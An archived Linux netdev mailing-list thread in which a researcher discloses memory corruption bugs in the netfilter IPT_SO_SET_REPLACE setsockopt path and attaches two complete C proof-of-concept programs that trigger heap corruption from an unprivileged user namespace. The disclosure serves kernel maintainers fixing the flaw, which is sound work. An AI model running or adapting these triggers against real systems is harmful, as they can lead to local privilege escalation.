All of lore.kernel.org
 help / color / mirror / Atom feed
* Linux netfilter IPT_SO_SET_REPLACE memory corruption
@ 2016-03-09 17:25 Ben Hawkes
  2016-03-09 17:33 ` Ben Hawkes
  0 siblings, 1 reply; 2+ messages in thread
From: Ben Hawkes @ 2016-03-09 17:25 UTC (permalink / raw)
  To: netdev

[-- Attachment #1: Type: text/plain, Size: 1848 bytes --]

N.B. I was redirected to this list by security@kernel.org. I'm told
that networking related issues such as this are handled on the public
netdev mailing list.

A memory corruption vulnerability exists in the IPT_SO_SET_REPLACE
ioctl in the netfilter code for iptables support. This ioctl is can be
triggered by an unprivileged user on PF_INET sockets when unprivileged
user namespaces are available (CONFIG_USER_NS=y). Android does not
enable this option, but desktop/server distributions and Chrome OS
will commonly enable this to allow for containers support or
sandboxing.

In the mark_source_chains function (net/ipv4/netfilter/ip_tables.c) it
is possible for a user-supplied ipt_entry structure to have a large
next_offset field. This field is not bounds checked prior to writing a
counter value at the supplied offset:

newpos = pos + e->next_offset;
...
e = (struct ipt_entry *) (entry0 + newpos);
e->counters.pcnt = pos;

This means that an out of bounds 32-bit write can occur in a 64kb
range from the allocated heap entry, with a controlled offset and a
partially controlled write value ("pos") or zero. The attached
proof-of-concept (netfilter_setsockopt_v3.c) triggers the corruption
multiple times to set adjacent heap structures to zero.

This issue affects (at least) kernel versions 3.10, 3.18 and 4.4, and
could be used for local privilege escalation. It appears that a
similar codepath is accessible via arp_tables.c/ARPT_SO_SET_REPLACE as
well.

Furthermore, a recent refactoring of this codepath
(https://github.com/torvalds/linux/commit/2e4e6a17af35be359cc8f1c924f8f198fbd478cc)
introduced an integer overflow in xt_alloc_table_info, which on 32-bit
systems can lead to small structure allocation and a copy_from_user
based heap corruption. The attached proof-of-concept
(netfilter_setsockopt_v4.c) triggers this issue on 4.4.

[-- Attachment #2: netfilter_setsockopt_v3.c --]
[-- Type: text/x-csrc, Size: 2096 bytes --]

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sched.h>
#include <linux/sched.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <netinet/in.h>
#include <net/if.h>
#include <linux/netfilter_ipv4/ip_tables.h>
#include <fcntl.h>

int netfilter_setsockopt(void *p) {
	int sock, optlen;
	int ret;
	void *data;
	size_t size;
	struct ipt_replace *repl;
	struct ipt_entry *entry;
	struct xt_standard_target *target;
	int x;

	for (x = 0; x < 65536; x++) {

		sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);

		if (sock == -1) {
		        perror("socket");
		        return -1;
		}

		size = sizeof(struct ipt_replace) + sizeof(struct ipt_entry) + sizeof(struct xt_standard_target) + 4;

		data = malloc(size);

		if (data == NULL) {
			perror("malloc");
			return -1;
		}

		memset(data, 0, size);

		repl = (struct ipt_replace *) data;
		entry = (struct ipt_entry *) (data + sizeof(struct ipt_replace));
		target = (struct xt_standard_target *) (data + sizeof(struct ipt_replace) + sizeof(struct ipt_entry) + 4);

		printf("repl %p (%lx) entry %p (%lx) target %p\n", repl, sizeof(struct ipt_replace), entry, sizeof(struct ipt_entry), target);

		repl->num_counters = 0x1;
		repl->size = sizeof(struct ipt_entry) + sizeof(struct xt_standard_target);
		repl->valid_hooks = 0x1;
		repl->num_entries = 0x1;

		memset(&repl->underflow, 1, sizeof(repl->underflow));
		repl->underflow[0] = 0;

		entry->next_offset = x;
		entry->target_offset = sizeof(struct ipt_entry) + 4;

		target->verdict = -(NF_ACCEPT + 1);

		ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, (void *) data, size);

		close(sock);
		free(data);

		printf("done %d => %d\n", x, ret);
	}

	return 0;
}

int main(void) {
	void *stack;
	int ret;

	ret = unshare(CLONE_NEWUSER);

	if (ret == -1) {
		perror("unshare");
		return -1;
	}

	stack = (void *) malloc(65536);

	if (stack == NULL) {
		perror("malloc");
		return -1;
	}

	clone(netfilter_setsockopt, stack + 65536, CLONE_NEWNET, NULL);

	sleep(1);

	return 0;
}

[-- Attachment #3: netfilter_setsockopt_v4.c --]
[-- Type: text/x-csrc, Size: 1297 bytes --]

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sched.h>
#include <linux/sched.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <netinet/in.h>
#include <net/if.h>
#include <linux/netfilter_ipv4/ip_tables.h>
#include <fcntl.h>

int netfilter_setsockopt(void *p) {
	int sock;
	int ret;
	void *data;
	size_t size;
	struct ipt_replace *repl;

	sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);

	if (sock == -1) {
	        perror("socket");
	        return -1;
	}

	size = sizeof(struct ipt_replace);

	data = malloc(size);

	if (data == NULL) {
		perror("malloc");
		return -1;
	}

	memset(data, 0, size);

	repl = (struct ipt_replace *) data;

	repl->num_counters = 0x1;
	repl->size = 0xffffffff;
	repl->valid_hooks = 0x1;
	repl->num_entries = 0x1;

	ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, (void *) data, size);

	printf("done %d\n", ret);

	return 0;
}

int main(void) {
	void *stack;
	int ret;

	ret = unshare(CLONE_NEWUSER);

	if (ret == -1) {
		perror("unshare");
		return -1;
	}

	stack = (void *) malloc(65536);

	if (stack == NULL) {
		perror("malloc");
		return -1;
	}

	clone(netfilter_setsockopt, stack + 65536, CLONE_NEWNET, NULL);

	sleep(1);

	return 0;
}

^ permalink raw reply	[flat|nested] 2+ messages in thread

* Re: Linux netfilter IPT_SO_SET_REPLACE memory corruption
  2016-03-09 17:25 Linux netfilter IPT_SO_SET_REPLACE memory corruption Ben Hawkes
@ 2016-03-09 17:33 ` Ben Hawkes
  0 siblings, 0 replies; 2+ messages in thread
From: Ben Hawkes @ 2016-03-09 17:33 UTC (permalink / raw)
  To: netdev

Small correction: IPT_SO_SET_REPLACE is reached via setsockopt, not ioctl.

On Wed, Mar 9, 2016 at 9:25 AM, Ben Hawkes <hawkes@google.com> wrote:
> N.B. I was redirected to this list by security@kernel.org. I'm told
> that networking related issues such as this are handled on the public
> netdev mailing list.
>
> A memory corruption vulnerability exists in the IPT_SO_SET_REPLACE
> ioctl in the netfilter code for iptables support. This ioctl is can be
> triggered by an unprivileged user on PF_INET sockets when unprivileged
> user namespaces are available (CONFIG_USER_NS=y). Android does not
> enable this option, but desktop/server distributions and Chrome OS
> will commonly enable this to allow for containers support or
> sandboxing.
>
> In the mark_source_chains function (net/ipv4/netfilter/ip_tables.c) it
> is possible for a user-supplied ipt_entry structure to have a large
> next_offset field. This field is not bounds checked prior to writing a
> counter value at the supplied offset:
>
> newpos = pos + e->next_offset;
> ...
> e = (struct ipt_entry *) (entry0 + newpos);
> e->counters.pcnt = pos;
>
> This means that an out of bounds 32-bit write can occur in a 64kb
> range from the allocated heap entry, with a controlled offset and a
> partially controlled write value ("pos") or zero. The attached
> proof-of-concept (netfilter_setsockopt_v3.c) triggers the corruption
> multiple times to set adjacent heap structures to zero.
>
> This issue affects (at least) kernel versions 3.10, 3.18 and 4.4, and
> could be used for local privilege escalation. It appears that a
> similar codepath is accessible via arp_tables.c/ARPT_SO_SET_REPLACE as
> well.
>
> Furthermore, a recent refactoring of this codepath
> (https://github.com/torvalds/linux/commit/2e4e6a17af35be359cc8f1c924f8f198fbd478cc)
> introduced an integer overflow in xt_alloc_table_info, which on 32-bit
> systems can lead to small structure allocation and a copy_from_user
> based heap corruption. The attached proof-of-concept
> (netfilter_setsockopt_v4.c) triggers this issue on 4.4.

^ permalink raw reply	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2016-03-09 17:33 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2016-03-09 17:25 Linux netfilter IPT_SO_SET_REPLACE memory corruption Ben Hawkes
2016-03-09 17:33 ` Ben Hawkes

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.